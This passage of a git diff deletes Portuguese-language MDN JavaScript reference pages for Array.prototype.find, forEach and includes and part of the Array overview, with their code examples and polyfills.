-<p>O método<code>find</code> executa a <code>callback</code> uma vez para cada index do array até ser encontrado um no qual a <code>callback</code> retorna o valor true. Caso um elemento seja encontrado, o método <code>find</code> retorna imediatamente o seu valor. Caso contrário, o método <code>find</code> retorna {{jsxref("undefined")}}. A função de <code>callback</code> é invocada para cada index do array do <code>0</code> ao <code>length - 1</code> e é invocada para todos os indexes, não apenas nos que tem valor. Isto pode significar que é menos eficiente para o um array com muitos elementos sem valor (sparse array) do que outros métodos que visitam apenas os elementos com valor.</p>
-
-<p>A função de <code>callback</code> é invocada com 3 parâmetros: o valor do elemento, o index do elemento, e o Array no qual é executado.</p>
-
-<p>Se o parâmetro <code>thisArg</code> for disponibilizado ao método <code>find</code>, este será usado como <code>this</code> para cada invocação da <code>callback</code>. Caso contrário, será usado o valor {{jsxref("undefined")}}.</p>
-
-<p>O método <code>find</code> não altera o array no qual é invocado.</p>
-
-<p>A quantidade de elementos processados pelo método <code>find</code> é definida antes da invocação da <code>callback</code>. Os elementos adicionados ao array após o método <code>find</code> ter iniciado não serão visitados pela <code>callback</code>. Se um elemento existente e não visitado, for alterado pela <code>callback</code>, o seu valor que foi passado para a <code>callback</code> será o valor a ser avaliado pelo método <code>find</code>; Os elementos eliminados após o inicio do método find também serão visitados.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Encontrar_um_objeto_num_array_através_de_uma_das_suas_propriedades">Encontrar um objeto num array através de uma das suas propriedades</h3>
-
-<pre class="brush: js">var inventory = [
- {name: 'apples', quantity: 2},
- {name: 'bananas', quantity: 0},
- {name: 'cherries', quantity: 5}
-];
-
-function isCherries(fruit) {
- return fruit.name === 'cherries';
-}
-
-console.log(inventory.find(isCherries));
-// { name: 'cherries', quantity: 5 }</pre>
-
-<h3 id="Encontrar_um_número_primo_num_array">Encontrar um número primo num array</h3>
-
-<p>O seguinte exemplo encontra um elemento no array que seja um número primo (caso não exista, retorna {{jsxref("undefined")}} ).</p>
-
-<pre class="brush: js">function isPrime(element, index, array) {
- var start = 2;
- while (start &lt;= Math.sqrt(element)) {
- if (element % start++ &lt; 1) {
- return false;
- }
- }
- return element &gt; 1;
-}
-
-console.log([4, 6, 8, 12].find(isPrime)); // undefined, not found
-console.log([4, 5, 8, 12].find(isPrime)); // 5
-</pre>
-
-<p>O seguinte exemplo, apresenta como os elementos não existentes e eliminados são visitados e o seu valor passado para a callback será o seu valor quando visitado.</p>
-
-<pre class="brush: js">// Declare array with no element at index 2, 3 and 4
-var a = [0,1,,,,5,6];
-
-// Shows all indexes, not just those that have been assigned values
-a.find(function(value, index) {
- console.log('Visited index ' + index + ' with value ' + value);
-});
-
-// Shows all indexes, including deleted
-a.find(function(value, index) {
-
- // Delete element 5 on first iteration
- if (index == 0) {
- console.log('Deleting a[5] with value ' + a[5]);
- delete a[5];
- }
- // Element 5 is still visited even though deleted
- console.log('Visited index ' + index + ' with value ' + value);
-});
-
-</pre>
-
-<h2 id="Polyfill">Polyfill</h2>
-
-<p>Este método foi adicionado ao <em>ECMAScript 2015 Language Specification </em>e pode não estar disponível em todas as implementações de JavaScript. É possível desenvolver o polyfill do método find com o seguinte código:</p>
-
-<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.find
-if (!Array.prototype.find) {
- Object.defineProperty(Array.prototype, 'find', {
- value: function(predicate) {
- // 1. Let O be ? ToObject(this value).
- if (this == null) {
- throw new TypeError('"this" is null or not defined');
- }
-
- var o = Object(this);
-
- // 2. Let len be ? ToLength(? Get(O, "length")).
- var len = o.length &gt;&gt;&gt; 0;
-
- // 3. If IsCallable(predicate) is false, throw a TypeError exception.
- if (typeof predicate !== 'function') {
- throw new TypeError('predicate must be a function');
- }
-
- // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
- var thisArg = arguments[1];
-
- // 5. Let k be 0.
- var k = 0;
-
- // 6. Repeat, while k &lt; len
- while (k &lt; len) {
- // a. Let Pk be ! ToString(k).
- // b. Let kValue be ? Get(O, Pk).
- // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
- // d. If testResult is true, return kValue.
- var kValue = o[k];
- if (predicate.call(thisArg, kValue, k, o)) {
- return kValue;
- }
- // e. Increase k by 1.
- k++;
- }
-
- // 7. Return undefined.
- return undefined;
- }
- });
-}
-</pre>
-
-<p>É melhor não utilizar o polyfill <code>Array.prototype</code> para motores JavaScript obsoletos que não suportem métodos <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, uma vez que, não é possível torna-los não-enumeráveis.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
- <td>{{Spec2('ES2015')}}</td>
- <td>Initial definition.</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_Browsers">Compatibilidade de Browsers</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Array.find")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("Array.prototype.findIndex()")}} – procurar e obter um index</li>
- <li>{{jsxref("Array.prototype.includes()")}} – testar se existe um valor num array</li>
- <li>{{jsxref("Array.prototype.filter()")}} – encontrar todos os elementos</li>
- <li>{{jsxref("Array.prototype.every()")}} – testar se todos os elementos cumprem o requisito</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/foreach/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/foreach/index.html
deleted file mode 100644
index 77e1bcc9d9..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/foreach/index.html
+++ /dev/null
@@ -1,328 +0,0 @@
----
-title: Array.prototype.forEach()
-slug: Web/JavaScript/Reference/Global_Objects/Array/forEach
-translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>forEach()</strong></code> executa a função que foi fornecida uma vez para cada elemento do vetor (array).</p>
-
-<div>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</div>
-
-<p class="hidden">A origem deste exemplo interactivo está armazenado num repositório do GitHub. Se queres contribuir para o projecto dos exemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e manda-nos um pull request.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><var>vet</var>.forEach(function <var>callback(presenteValor[, indice[, vetor]]) {
- //o teu iterador
-}</var>[, <var>argThis</var>]);</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>callback</code></dt>
- <dd>Função a executar para cada elemento, levando três argumentos:
- <dl>
- <dt><code>presenteValor</code></dt>
- <dd>Valor do presente elemento a ser processado do vetor (array).</dd>
- <dt><code>indice</code>{{optional_inline}}</dt>
- <dd>Índice do presente elemento a ser processado do vetor (array).</dd>
- <dt><code>vet</code>{{optional_inline}}</dt>
- <dd>O vetor (array) a que o <code>forEach()</code> está a ser aplicado.</dd>
- </dl>
- </dd>
- <dt><code>argThis</code> {{Optional_inline}}</dt>
- <dd>
- <p>Valor a usar como <code><strong>this</strong></code> (ou seja o <code>Object</code> de referência) quando é executado o <code>callback</code>.</p>
- </dd>
-</dl>
-
-<h3 id="Valor_devolvido">Valor devolvido</h3>
-
-<p>{{jsxref("undefined")}}.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p><code>forEach()</code> executa o <code>callback</code> fornecido uma vez para cada elemento presente no vetor (array) por ordem ascendente. Não é invocado para indices de propriedades que foram apagadas ou que não foram inicializadas (ou seja em sparse arrays).</p>
-
-<p><code>callback</code> é invocado com <strong>três argumentos</strong>:</p>
-
-<ul>
- <li>o <strong>valor do elemento</strong></li>
- <li>o <strong>índice do elemento</strong></li>
- <li>o <strong>vetor (array) que está a ser percorrido</strong></li>
-</ul>
-
-<p>If a <code>thisArg</code> parameter is provided to <code>forEach()</code>, it will be used as callback's <code>this</code> value.  Otherwise, the value {{jsxref("undefined")}} will be used as its <code>this</code> value. The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p>
-
-<p>The range of elements processed by <code>forEach()</code> is set before the first invocation of <code>callback</code>. Elements that are appended to the array after the call to <code>forEach()</code> begins will not be visited by <code>callback</code>. If the values of existing elements of the array are changed, the value passed to <code>callback</code> will be the value at the time <code>forEach()</code> visits them; elements that are deleted before being visited are not visited. If elements that are already visited are removed (e.g. using {{jsxref("Array.prototype.shift()", "shift()")}}) during the iteration, later elements will be skipped - see example below.</p>
-
-<p><code>forEach()</code> executes the <code>callback</code> function once for each array element; unlike {{jsxref("Array.prototype.map()", "map()")}} or {{jsxref("Array.prototype.reduce()", "reduce()")}} it always returns the value {{jsxref("undefined")}} and is not chainable. The typical use case is to execute side effects at the end of a chain.</p>
-
-<p><code>forEach()</code> does not mutate the array on which it is called (although <code>callback</code>, if invoked, may do so).</p>
-
-<div class="note">
-<p>There is no way to stop or break a <code>forEach()</code> loop other than by throwing an exception. If you need such behavior, the <code>forEach()</code> method is the wrong tool.</p>
-
-<p>Early termination may be accomplished with:</p>
-
-<ul>
- <li>A simple loop</li>
- <li>A <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a> loop</li>
- <li>{{jsxref("Array.prototype.every()")}}</li>
- <li>{{jsxref("Array.prototype.some()")}}</li>
- <li>{{jsxref("Array.prototype.find()")}}</li>
- <li>{{jsxref("Array.prototype.findIndex()")}}</li>
-</ul>
-
-<p>The other Array methods: {{jsxref("Array.prototype.every()", "every()")}}, {{jsxref("Array.prototype.some()", "some()")}}, {{jsxref("Array.prototype.find()", "find()")}}, and {{jsxref("Array.prototype.findIndex()", "findIndex()")}} test the array elements with a predicate returning a truthy value to determine if further iteration is required.</p>
-</div>
-
-<h2 id="Examples">Examples</h2>
-
-<h3 id="Converting_a_for_loop_to_forEach">Converting a for loop to forEach</h3>
-
-<p>before</p>
-
-<pre class="brush:js">const items = ['item1', 'item2', 'item3'];
-const copy = [];
-
-for (let i=0; i&lt;items.length; i++) {
- copy.push(items[i])
-}
-</pre>
-
-<p>after</p>
-
-<pre class="brush:js">const items = ['item1', 'item2', 'item3'];
-const copy = [];
-
-items.forEach(function(item){
- copy.push(item)
-});
-
-</pre>
-
-<p> </p>
-
-<h3 id="Printing_the_contents_of_an_Array_Object">Printing the contents of an Array Object</h3>
-
-<p>The following code logs a line for each element in an array:</p>
-
-<pre class="brush:js">var userInfo = [{
- name: "Mayank",
-  age: 30
-}, {
- name: Meha,
-  age: 26
-}];
-
-userInfo.forEach(function(employee) {
- console.log(employee.name)
-});
-</pre>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<h3 id="Printing_the_contents_of_an_array">Printing the contents of an array</h3>
-
-<p>The following code logs a line for each element in an array:</p>
-
-<pre class="brush:js">function logArrayElements(element, index, array) {
- console.log('a[' + index + '] = ' + element);
-}
-
-// Notice that index 2 is skipped since there is no item at
-// that position in the array.
-[2, 5, , 9].forEach(logArrayElements);
-// logs:
-// a[0] = 2
-// a[1] = 5
-// a[3] = 9
-</pre>
-
-<h3 id="Using_thisArg">Using <code>thisArg</code></h3>
-
-<p>The following (contrived) example updates an object's properties from each entry in the array:</p>
-
-<pre class="brush:js">function Counter() {
- this.sum = 0;
- this.count = 0;
-}
-Counter.prototype.add = function(array) {
- array.forEach(function(entry) {
- this.sum += entry;
- ++this.count;
- }, this);
- // ^---- Note
-};
-
-const obj = new Counter();
-obj.add([2, 5, 9]);
-obj.count;
-// 3
-obj.sum;
-// 16
-</pre>
-
-<p>Since the <code>thisArg</code> parameter (<code>this</code>) is provided to <code>forEach()</code>, it is passed to <code>callback</code> each time it's invoked, for use as its <code>this</code> value.</p>
-
-<div class="note">
-<p>If passing the function argument using an <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function expression</a> the <code>thisArg</code> parameter can be omitted as arrow functions lexically bind the {{jsxref("Operators/this", "this")}} value.</p>
-</div>
-
-<h3 id="An_object_copy_function">An object copy function</h3>
-
-<p>The following code creates a copy of a given object. There are different ways to create a copy of an object; the following is just one way and is presented to explain how <code>Array.prototype.forEach()</code> works by using ECMAScript 5 <code>Object.*</code> meta property functions.</p>
-
-<pre class="brush: js">function copy(obj) {
- const copy = Object.create(Object.getPrototypeOf(obj));
- const propNames = Object.getOwnPropertyNames(obj);
-
- propNames.forEach(function(name) {
- const desc = Object.getOwnPropertyDescriptor(obj, name);
- Object.defineProperty(copy, name, desc);
- });
-
- return copy;
-}
-
-const obj1 = { a: 1, b: 2 };
-const obj2 = copy(obj1); // obj2 looks like obj1 now
-</pre>
-
-<h3 id="If_the_array_is_modified_during_iteration_other_elements_might_be_skipped.">If the array is modified during iteration, other elements might be skipped.</h3>
-
-<p>The following example logs "one", "two", "four". When the entry containing the value "two" is reached, the first entry of the whole array is shifted off, which results in all remaining entries moving up one position. Because element "four" is now at an earlier position in the array, "three" will be skipped. <code>forEach()</code> does not make a copy of the array before iterating.</p>
-
-<pre class="brush:js">var words = ['one', 'two', 'three', 'four'];
-words.forEach(function(word) {
- console.log(word);
- if (word === 'two') {
- words.shift();
- }
-});
-// one
-// two
-// four
-</pre>
-
-<h2 id="Polyfill">Polyfill</h2>
-
-<p><code>forEach()</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>forEach()</code> in implementations that don't natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}} and {{jsxref("TypeError")}} have their original values and that <code>callback.call()</code> evaluates to the original value of {{jsxref("Function.prototype.call()")}}.</p>
-
-<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.18
-// Reference: http://es5.github.io/#x15.4.4.18
-if (!Array.prototype.forEach) {
-
- Array.prototype.forEach = function(callback/*, thisArg*/) {
-
- var T, k;
-
- if (this == null) {
- throw new TypeError('this is null or not defined');
- }
-
- // 1. Let O be the result of calling toObject() passing the
- // |this| value as the argument.
- var O = Object(this);
-
- // 2. Let lenValue be the result of calling the Get() internal
- // method of O with the argument "length".
- // 3. Let len be toUint32(lenValue).
- var len = O.length &gt;&gt;&gt; 0;
-
- // 4. If isCallable(callback) is false, throw a TypeError exception.
- // See: http://es5.github.com/#x9.11
- if (typeof callback !== 'function') {
- throw new TypeError(callback + ' is not a function');
- }
-
- // 5. If thisArg was supplied, let T be thisArg; else let
- // T be undefined.
- if (arguments.length &gt; 1) {
- T = arguments[1];
- }
-
- // 6. Let k be 0.
- k = 0;
-
- // 7. Repeat while k &lt; len.
- while (k &lt; len) {
-
- var kValue;
-
- // a. Let Pk be ToString(k).
- // This is implicit for LHS operands of the in operator.
- // b. Let kPresent be the result of calling the HasProperty
- // internal method of O with argument Pk.
- // This step can be combined with c.
- // c. If kPresent is true, then
- if (k in O) {
-
- // i. Let kValue be the result of calling the Get internal
- // method of O with argument Pk.
- kValue = O[k];
-
- // ii. Call the Call internal method of callback with T as
- // the this value and argument list containing kValue, k, and O.
- callback.call(T, kValue, k, O);
- }
- // d. Increase k by 1.
- k++;
- }
- // 8. return undefined.
- };
-}
-</pre>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.6.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Array.forEach")}}</p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("Array.prototype.find()")}}</li>
- <li>{{jsxref("Array.prototype.findIndex()")}}</li>
- <li>{{jsxref("Array.prototype.map()")}}</li>
- <li>{{jsxref("Array.prototype.every()")}}</li>
- <li>{{jsxref("Array.prototype.some()")}}</li>
- <li>{{jsxref("Map.prototype.forEach()")}}</li>
- <li>{{jsxref("Set.prototype.forEach()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/includes/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/includes/index.html
deleted file mode 100644
index 201d4c9526..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/includes/index.html
+++ /dev/null
@@ -1,175 +0,0 @@
----
-title: Array.prototype.includes()
-slug: Web/JavaScript/Reference/Global_Objects/Array/includes
-tags:
- - Array
- - JavaScript
- - Method
- - Prototype
- - Reference
- - polyfill
-translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>includes()</strong></code> determina se um array contém um determinado elemento, devolvendo <code>true</code> ou <code>false</code>. É utilizado o algoritmo sameValueZero para determinar se o elemento especificado foi encontrado.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/array-includes.html")}}</div>
-
-
-
-<h2 id="Syntax">Syntax</h2>
-
-<pre class="syntaxbox"><var>arr</var>.includes(<var>searchElement[</var>, <var>fromIndex]</var>)
-</pre>
-
-<h3 id="Parameters">Parameters</h3>
-
-<dl>
- <dt><code>searchElement</code></dt>
- <dd>The element to search for.</dd>
- <dt><code>fromIndex</code> {{optional_inline}}</dt>
- <dd>The position in this array at which to begin searching for <code>searchElement</code>. A negative value searches from the index of <code>array.length - fromIndex</code> by asc. Defaults to 0.</dd>
-</dl>
-
-<h3 id="Return_value">Return value</h3>
-
-<p>A {{jsxref("Boolean")}}.</p>
-
-<h2 id="Examples">Examples</h2>
-
-<pre class="brush: js">[1, 2, 3].includes(2); // true
-[1, 2, 3].includes(4); // false
-[1, 2, 3].includes(3, 3); // false
-[1, 2, 3].includes(3, -1); // true
-[1, 2, NaN].includes(NaN); // true
-</pre>
-
-<h3 id="fromIndex_is_greater_than_or_equal_to_the_array_length"><code>fromIndex</code> is greater than or equal to the array length</h3>
-
-<p>If <code>fromIndex</code> is greater than or equal to the length of the array, <code>false</code> is returned. The array will not be searched.</p>
-
-<pre class="brush: js">var arr = ['a', 'b', 'c'];
-
-arr.includes('c', 3); // false
-arr.includes('c', 100); // false</pre>
-
-<h3 id="Computed_index_is_less_than_0">Computed index is less than 0</h3>
-
-<p>If <code>fromIndex</code> is negative, the computed index is calculated to be used as a position in the array at which to begin searching for <code>searchElement</code>. If the computed index is less than 0, the entire array will be searched.</p>
-
-<pre class="brush: js">// array length is 3
-// fromIndex is -100
-// computed index is 3 + (-100) = -97
-
-var arr = ['a', 'b', 'c'];
-
-arr.includes('a', -100); // true
-arr.includes('b', -100); // true
-arr.includes('c', -100); // true</pre>
-
-<h3 id="includes()_used_as_a_generic_method"><code>includes()</code> used as a generic method</h3>
-
-<p><code>includes()</code> method is intentionally generic. It does not require <code>this</code> value to be an Array object, so it can be applied to other kinds of objects (e.g. array-like objects). The example below illustrates <code>includes()</code> method called on the function's <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> object.</p>
-
-<pre class="brush: js">(function() {
- console.log([].includes.call(arguments, 'a')); // true
-  console.log([].includes.call(arguments, 'd')); // false
-})('a','b','c');</pre>
-
-<h2 id="Polyfill">Polyfill</h2>
-
-<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.includes
-if (!Array.prototype.includes) {
- Object.defineProperty(Array.prototype, 'includes', {
- value: function(searchElement, fromIndex) {
-
- if (this == null) {
- throw new TypeError('"this" is null or not defined');
- }
-
- // 1. Let O be ? ToObject(this value).
- var o = Object(this);
-
- // 2. Let len be ? ToLength(? Get(O, "length")).
- var len = o.length &gt;&gt;&gt; 0;
-
- // 3. If len is 0, return false.
- if (len === 0) {
- return false;
- }
-
- // 4. Let n be ? ToInteger(fromIndex).
- // (If fromIndex is undefined, this step produces the value 0.)
- var n = fromIndex | 0;
-
- // 5. If n ≥ 0, then
- // a. Let k be n.
- // 6. Else n &lt; 0,
- // a. Let k be len + n.
- // b. If k &lt; 0, let k be 0.
- var k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
-
-  function sameValueZero(x, y) {
- return x === y || (typeof x === 'number' &amp;&amp; typeof y === 'number' &amp;&amp; isNaN(x) &amp;&amp; isNaN(y));
-  }
-
- // 7. Repeat, while k &lt; len
- while (k &lt; len) {
- // a. Let elementK be the result of ? Get(O, ! ToString(k)).
- // b. If SameValueZero(searchElement, elementK) is true, return true.
- if (sameValueZero(o[k], searchElement)) {
- return true;
- }
-  // c. Increase k by 1.
- k++;
- }
-
- // 8. Return false
- return false;
- }
- });
-}
-</pre>
-
-<p>If you need to support truly obsolete JavaScript engines that don't support <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, it's best not to polyfill <code>Array.prototype</code> methods at all, as you can't make them non-enumerable.</p>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
- <td>{{Spec2('ES7')}}</td>
- <td>Initial definition.</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Array.includes")}}</p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
- <li>{{jsxref("String.prototype.includes()")}}</li>
- <li>{{jsxref("Array.prototype.indexOf()")}}</li>
- <li>{{jsxref("Array.prototype.find()")}}</li>
- <li>{{jsxref("Array.prototype.findIndex()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/index.html
deleted file mode 100644
index 5f26f41549..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/index.html
+++ /dev/null
@@ -1,440 +0,0 @@
----
-title: Array
-slug: Web/JavaScript/Reference/Global_Objects/Array
-tags:
- - Array
- - Class
- - Exemplo
- - Global Objects
- - JavaScript
- - Referencia
- - 'l10n:priority'
-translation_of: Web/JavaScript/Reference/Global_Objects/Array
----
-<div>{{JSRef}}</div>
-
-<p>A classe de JavaScript <strong><code>Array</code></strong> é um objecto global que é utilizado na construção de matrizes; que são objectos de alto nível, semelhantes a listas.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Arrays são objectos em forma de lista, cujo protótipo tem métodos para realizar operações de travessia e mutação. Nem o comprimento de uma array JavaScript nem os tipos dos seus elementos são fixos. Uma vez que o comprimento de uma array pode mudar a qualquer momento, e os dados podem ser armazenados em locais não contíguos da array, não é garantido que uma array JavaScript seja densa; isto depende de como o programador opta por usá-las. Em geral, estas são características convenientes; mas se estas características não forem desejáveis para seu uso particular, você pode considerar o uso de arrays tipadas.</p>
-
-<p>Uma array não pode utilizar strings como índices de elementos (como num {{InterWiki("wikipedia", "Vetor_associativo", "array associativa")}}), deve utilizar números inteiros. A definição ou acesso através de não-inteiros usando notação de parênteses (ou notação de pontos) não definirá ou recuperará um elemento da própria lista da array, mas definirá ou acessará uma variável associada à <a href="pt-PT/docs/Web/JavaScript/Estruturas_de_dados#Objetos">coleção de propriedades dessa array</a>. As propriedades da array e a lista de elementos do mesmo são separadas, e as operações de translação e mutação da array não podem ser aplicadas a essas propriedades com nome.</p>
-
-<p><strong>Criar uma Array</strong></p>
-
-<pre class="brush: js notranslate">var fruits = ['Apple', 'Banana'];
-
-console.log(fruits.length);
-// 2
-</pre>
-
-<p><strong>Aceder (através de índice) item<span class="original-content"> da </span>Array</strong></p>
-
-<pre class="brush: js notranslate">var first = fruits[0];
-// Apple
-
-var last = fruits[fruits.length - 1];
-// Banana
-</pre>
-
-<p><strong>Loop over an Array</strong></p>
-
-<pre class="brush: js notranslate">fruits.forEach(function(item, index, array) {
-  console.log(item, index);
-});
-// Apple 0
-// Banana 1
-</pre>
-
-<p><strong>Adicionar um item ao fim da Array</strong></p>
-
-<pre class="brush: js notranslate">var newLength = fruits.push('Orange');
-// ["Apple", "Banana", "Orange"]
-</pre>
-
-<p><strong>Remover um item do fim da Array</strong></p>
-
-<pre class="brush: js notranslate">var last = fruits.pop(); // remove Orange (from the end)
-// ["Apple", "Banana"];
-</pre>
-
-<p><strong>Remover um item do início da Array</strong></p>
-
-<pre class="brush: js notranslate">var first = fruits.shift(); // remove Apple from the front
-// ["Banana"];
-</pre>
-
-<p><strong>Ad</strong><strong>icionar um item ao início da Array</strong></p>
-
-<pre class="brush: js notranslate">var newLength = fruits.unshift('Strawberry') // add to the front
-// ["Strawberry", "Banana"];
-</pre>
-
-<p><strong>Encontrar o índice dum item na Array</strong></p>
-
-<pre class="brush: js notranslate">fruits.push('Mango');
-// ["Strawberry", "Banana", "Mango"]
-
-var pos = fruits.indexOf('Banana');
-// 1
-</pre>
-
-<p><strong>Remover um item pela posição do índice</strong></p>
-
-<pre class="brush: js notranslate">var removedItem = fruits.splice(pos, 1); // this is how to remove an item
-
-// ["Strawberry", "Mango"]</pre>
-
-<p><strong>Remover items pela posição do índice</strong></p>
-
-<pre class="brush: js notranslate">var vegetables = ['Cabbage', 'Turnip', 'Radish', 'Carrot'];
-console.log(vegetables);
-// ["Cabbage", "Turnip", "Radish", "Carrot"]
-
-var pos = 1, n = 2;
-
-var removedItems = vegetables.splice(pos, n);
-// this is how to remove items, n defines the number of items to be removed,
-// from that position(pos) onward to the end of array.
-
-console.log(vegetables);
-// ["Cabbage", "Carrot"] (the original array is changed)
-
-console.log(removedItems);
-// ["Turnip", "Radish"]</pre>
-
-<p><strong>Copiar uma Array</strong></p>
-
-<pre class="brush: js notranslate">var shallowCopy = fruits.slice(); // this is how to make a copy
-// ["Strawberry"]
-</pre>
-
-<h3 id="Como_aceder_a_elementos_da_array">Como aceder a elementos da array</h3>
-
-<p>JavaScript arrays are zero-indexed: the first element of an array is at index <code>0</code>, and the last element is at the index equal to the value of the array's {{jsxref("Array.length", "length")}} property minus 1.</p>
-
-<pre class="brush: js notranslate">var arr = ['this is the first element', 'this is the second element'];
-console.log(arr[0]); // logs 'this is the first element'
-console.log(arr[1]); // logs 'this is the second element'
-console.log(arr[arr.length - 1]); // logs 'this is the second element'
-</pre>
-
-<p>Array elements are object properties in the same way that <code>toString</code> is a property, but trying to access an element of an array as follows throws a syntax error, because the property name is not valid:</p>
-
-<pre class="brush: js notranslate">console.log(arr.0); // a syntax error
-</pre>
-
-<p>There is nothing special about JavaScript arrays and the properties that cause this. JavaScript properties that begin with a digit cannot be referenced with dot notation; and must be accessed using bracket notation. For example, if you had an object with a property named <code>'3d'</code>, it can only be referenced using bracket notation. E.g.:</p>
-
-<pre class="brush: js notranslate">var years = [1950, 1960, 1970, 1980, 1990, 2000, 2010];
-console.log(years.0); // a syntax error
-console.log(years[0]); // works properly
-</pre>
-
-<pre class="brush: js notranslate">renderer.3d.setTexture(model, 'character.png'); // a syntax error
-renderer['3d'].setTexture(model, 'character.png'); // works properly
-</pre>
-
-<p>Note that in the <code>3d</code> example, <code>'3d'</code> had to be quoted. It's possible to quote the JavaScript array indexes as well (e.g., <code>years['2']</code> instead of <code>years[2]</code>), although it's not necessary. The 2 in <code>years[2]</code> is coerced into a string by the JavaScript engine through an implicit <code>toString</code> conversion. It is for this reason that <code>'2'</code> and <code>'02'</code> would refer to two different slots on the <code>years</code> object and the following example could be <code>true</code>:</p>
-
-<pre class="brush: js notranslate">console.log(years['2'] != years['02']);
-</pre>
-
-<p>Similarly, object properties which happen to be reserved words(!) can only be accessed as string literals in bracket notation(but it can be accessed by dot notation in firefox 40.0a2 at least):</p>
-
-<pre class="brush: js notranslate">var promise = {
- 'var' : 'text',
- 'array': [1, 2, 3, 4]
-};
-
-console.log(promise['var']);
-</pre>
-
-<h3 id="Relationship_between_length_and_numerical_properties">Relationship between <code>length</code> and numerical properties</h3>
-
-<p>A JavaScript array's {{jsxref("Array.length", "length")}} property and numerical properties are connected. Several of the built-in array methods (e.g., {{jsxref("Array.join", "join")}}, {{jsxref("Array.slice", "slice")}}, {{jsxref("Array.indexOf", "indexOf")}}, etc.) take into account the value of an array's {{jsxref("Array.length", "length")}} property when they're called. Other methods (e.g., {{jsxref("Array.push", "push")}}, {{jsxref("Array.splice", "splice")}}, etc.) also result in updates to an array's {{jsxref("Array.length", "length")}} property.</p>
-
